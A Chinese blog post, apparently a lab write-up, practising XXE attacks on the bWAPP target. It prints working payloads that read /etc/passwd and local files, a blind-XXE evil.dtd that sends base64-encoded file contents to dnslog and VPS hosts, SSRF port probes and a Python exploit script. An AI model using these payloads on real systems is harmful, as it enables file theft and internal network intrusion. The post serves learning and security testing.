介绍

这几天在学习XXE漏洞,这里用靶机bwapp来练习一下这个漏洞,重在学习

xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。

不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机.

首先要明白xxe漏洞是如何读取文件的:

<!ENTITY name SYSTEM  "file:///etc/passwd">
<root>&name;</root>

此时服务器会在root节点返回 /etc/passwd 的内容,整个代码运行流程是name实体加载本地文件,并且文件返回值被赋给name.如果没有回显则可以利用带外通信进行测试.

首先观察这个http包,在包头中可以观察到文件接收者以xml的形式读取文件,符合xxe漏洞的条件,然后服务器会正常返回在body中post过去的xml代码执行内容

此时就可以构造恶意的xml代码,可以看见服务器仍是正常返回,说明在服务器端并没有进行过滤,因此可以初步确定此应用存在xxe漏洞(非blind型的xxe).

Bind XXE(盲注XXE)

探测

针对blind的xxe,首先需要判断是否存在XXE漏洞,我这里使用Dnslog平台来验证一下漏洞是否存在

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://bmjoker.oknsow.dnslog.cn">%remote;
]>

可以看到dnslog收到了请求,证明xxe漏洞存在

读取文件

可以构造如下evil.dtd请求payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://47.107.136.25/evil.dtd">
%dtd;%int;%send; ]>
<r></r>

这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部xml文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)

以下是eval.dtd的内容:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://b7lcxb.dnslog.cn/?p=%file;'>">

具体加载过程:首先加载参数实体 dtd 。此时会远程加载攻击者主机上的外部实体,然后加载 int 参数实体。接下来加载 send 实体,此时就是关键点,就是用于记载服务器端的返回内容(通过get查询方式会在攻击者的服务器日志中留下记录),查询的字符串 p 的值便是参数实体 file 的值,也就是读取的文件。参数实体 int 只是辅助的作用,用于辅助解释参数实体 send 的内容。

问题

1.这个 &#x25 是不是写错了?直接用 % 不行吗?

如果直接使用%号的话,会出现下面的报错

DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except for entities

报错已经说的很清楚,%不允许出现在Entity的value中,所以需要将%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式,以&#后接十进制数字,&#x后接十六进制数字)

2.为什么不能直接 "file:///etc/passwd",而要使用php://filter流

因为字符的原因,虽然没有在xml中加特殊字符,但是关于字符,有可见字符,也有不可见字符,所以这种情况,需要十六进制(xxd或者hexdump -C)显示一下是否有系统自己添加的特殊字符,就像echo "hello" > joker,echo命令本身就是回车显示,所以看似没有问题的URL,其实有一个小小的回车(0a)存在,导致保存,无法识别file读取的url路径。所以目前最好的方法就是利用php://filter流来读取文件。

具体使用,下面使用Bwapp具体实践

3.Java怎么使用盲注XXE读取文件

Java在Blind XXE的利用上,读取文件会有些问题

在PHP中,我们可以使用 php://filter/read=convert.base64-encode/resource=/etc/hosts 方法将文本内容进行base64编码。

但是Java中没这样的编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求发送失败。FTP读取方法可以参考这篇文章,里面也有FTP Server的相关代码。

http://www.voidcn.com/article/p-njawsjxm-ko.html

但是,我在测试的时候遇到一个问题,FTP请求发出去了,但是Server端只能看到 New client connected 内容,看不到实际发出去的内容。我猜测和Java版本有关。

java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) -Bit Server VM (build 25.121-b13, mixed mode)

Bwapp实践

有回显的xxe:

基本知识也了解的差不多,现在我们打开bwapp靶机:

我们用burp抓包看看数据传输情况(都知道是XXE了,肯定要抓包看看XML数据的传输情况啦):
打开burp,点击页面any bugs进行抓包:

可以看到xxe-1.php页面以post方式向xxe-2.php页面传输了XML数据,所以我们可以自己尝试构建实体,

如果后台没有合理的解析参数,就有可以造成XXE漏洞。修改的内容,知道这里解析login参数并回显

增加一个恶意外部实体然后在原本的XML数据中进行实体调用,来进行XXE攻击。具体如图,右侧

为返回的d:/xxetest.txt文件内容,XXE攻击成功,我们读取了windows的重要文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///d://xxetest.txt">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>

当然,我们也可以利用XXE来读取网站目录下的一些重要文件,p.s:读取内网中其他服务器文件也是可行的,

这也是BWAPP作者将XXE归到SSRF利用里原因,我们随便测试个文件试试看,右侧返回了文件内容:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test copyright[http://172.19.89.86/bWAPP/bWAPP/robots.txt">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>

我们也可以来测试端口是否开放,这里拿80端口是否开放演示:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

若80端口开放,回显如下的报错信息

若端口不开放,则显示如下信息:

利用python写了一个简单的exp,进行测试,如下:

#coding=utf-
import requests if __name__ == '__main__': payload = raw_input('输入你想利用xxe得到的资源,如file:///etc/passwd\npayload:'.decode('utf-8').encode('gbk')) url = 'http://172.19.89.86/bWAPP/bWAPP/xxe-2.php'
headers = {'Content-type':'text/xml'} cookies = {'PHPSESSID':'0gbae4b3f9fsofkcdn4k33ere1','security_level':''} xml = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "'+ payload +'">]><reset><login>&test;</login><secret>login</secret></reset>' r = requests.post(url,headers=headers,cookies=cookies,data=xml)
print 'xxe攻击返回结果:'.decode('utf-8').encode('gbk')
print r.content

读取d:/xxetest.txt:


读取robots.txt:

无回显XXE读取文件

先进行判断是否存在漏洞,直接去解析DNSlog平台

收到dns解析记录,说明存在xxe漏洞

在服务器上构造evil.dtd,内容如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/xxetest.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://cgafwj.ceye.io/?p=%file;'>">

然后在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://47.107.136.25/evil.dtd">
%dtd;%int;%send; ]>

这个时候看一下DNSlog平台是否收到记录:

http收到请求:

dns也受到解析记录:

参数p后面就是读取的本地文件的base64后的内容,解密:

成功实现xxe盲注读取本地文件。

也可以使用下面的方法:

vps上的xml.dtd:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://VPS的地址:2121/%file;'>">
%all;

然后在VPS上用python在2121端口起另一个http服务

python -m SimpleHTTPServer 

本地提交:

<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Users/mi/Desktop/1.txt">
%remote;
%send;
]>

就会看到监听的端口收到数据。

参考链接:

https://blog.csdn.net/u011721501/article/details/43775691#commentBox

https://thief.one/2017/06/20/1/

http://duyana.top/post/7eb7e3d8/

https://m3lon.github.io/2019/01/20/xxe%E5%AE%9E%E9%AA%8C%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95/

8.bwapp亲测xxe漏洞的更多相关文章

  1. 1.4 DVWA亲测XSS漏洞

    首先需要有配置好的DVWA环境,像下图这样   其中: XSS (DOM) :  DOM型XSS漏洞 XSS (Reflected) : 反射性XSS漏洞  XSS (Stored) :  存储型XS ...

  2. 2. DVWA亲测CSRF漏洞

    DVWA登陆      用户名:admin   密码:password Low级: 查看源代码: <?php if (isset($_GET['Change'])) { // Turn requ ...

  3. [Web安全] XXE漏洞攻防学习(中)

    0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...

  4. web应用下的安全问题以及tomcat/nginx对应解决方法(持续更新、亲测可解决问题)

    最近一券商那边扫描反馈了下面几个非业务型安全漏洞,要求解决,如下: XSS 自己写个脚本response的时候对特殊字符进行了处理,或者网上搜下一堆(不要忘了回车.换行). HTML form wit ...

  5. XXE漏洞原理及利用

    0x01概述 XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞.XXE扩大了攻击面. 当允许引用外部实体时,就可能导致任意文件读取.系统命令执行.内网 ...

  6. nginx代理https站点(亲测)

    nginx代理https站点(亲测) 首先,我相信大家已经搞定了nginx正常代理http站点的方法,下面重点介绍代理https站点的配置方法,以及注意事项,因为目前大部分站点有转换https的需要所 ...

  7. C#读取Excel设置(亲测可用)

    OpenFileDialog openFD = new OpenFileDialog(); openFD.FileName = ""; openFD.Filter = " ...

  8. ASP.NET中的文件操作(文件信息,新建,移动,复制,重命名,上传,遍历)(亲测详细)

    做了几天的文件操作,现在来总结一下,错误之处,还望指点!以文件为例,如果对文件夹操作,基本上将File换为Directory即可(例:FileInfo file = new FileInfo(Path ...

  9. 推荐几个最好用的CRM软件,本人亲测

    CRM是英文Customer Relationship Management 的简写,一般译作“客户关系管理”.CRM最早产生于美国,由Gartner Group 首先提出的CRM这个概念的.20世纪 ...

随机推荐

  1. shell文件相关指令

    文件解压缩tar 请参考文档:http://blog.csdn.net/eroswang/article/details/5555415/ tar -zcvf ${standardpath}${fil ...

  2. linux基本使用

    (待完善,想到哪就写到哪,目前内容大幅度参考中文man手册) 最重要的命令(man) 在 Linux 下遇到问题,最重要的是要自己寻求帮助, google是个好东西 man 是 Linux 的帮助手册 ...

  3. NLP-最小编辑距离

    最小编辑距离 一 概念 编辑距离(Edit Distance),又称Levenshtein距离,是指两个字串之间,由一个转成另一个所需的编辑操作次数.最小编辑距离,是指所需最小的编辑操作次数. 编辑操 ...

  4. python ddt 重写

    对此方法重写 def mk_test_name(name, value, index=0): 重写前 index = "{0:0{1}}".format(index + 1, in ...

  5. Selenium-几种元素定位方式

    #识别元素并操作#一般有如下几种方法,其中id最为常用.这里需要注意识别元素一定要用唯一id 1.find_element_by_id("value") #! /usr/bin/e ...

  6. MySQL丨删除一张表小常识

    在MySQL里面 ,对于删除一张表里面的所有内容有两种语句: 1.delete from table_name; 2.truncate table table_name; 解析:以上两种方式都可以删除 ...

  7. C - Alyona and SpreadsheetDP

    题目链接 题意在一个矩阵中,询问l~r行是否有一列满足mp[i][j]>=mp[i-1][j](i属于l~r)即非递减序列,是输出Yes,否输出No 用vector<vector<i ...

  8. linux命令学习笔记(41):ps命令

    Linux中的ps命令是Process Status的缩写.ps命令用来列出系统中当前运行的那些进程.ps命令列出的是当前 那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程 ...

  9. Debian for ARM install python 3.5.x

    /********************************************************************************** * Debian for ARM ...

  10. BZOJ5323 JXOI2018 游戏

    传送门 这是我见过的为数不多的良心九怜题之一. 题目大意 有一堆屋子,编号为$l,l+1...r-1,r$,你每次会走入一个没走入过的房子,然后这个房子以及编号为这个房子编号的倍数的房子就会被自动标记 ...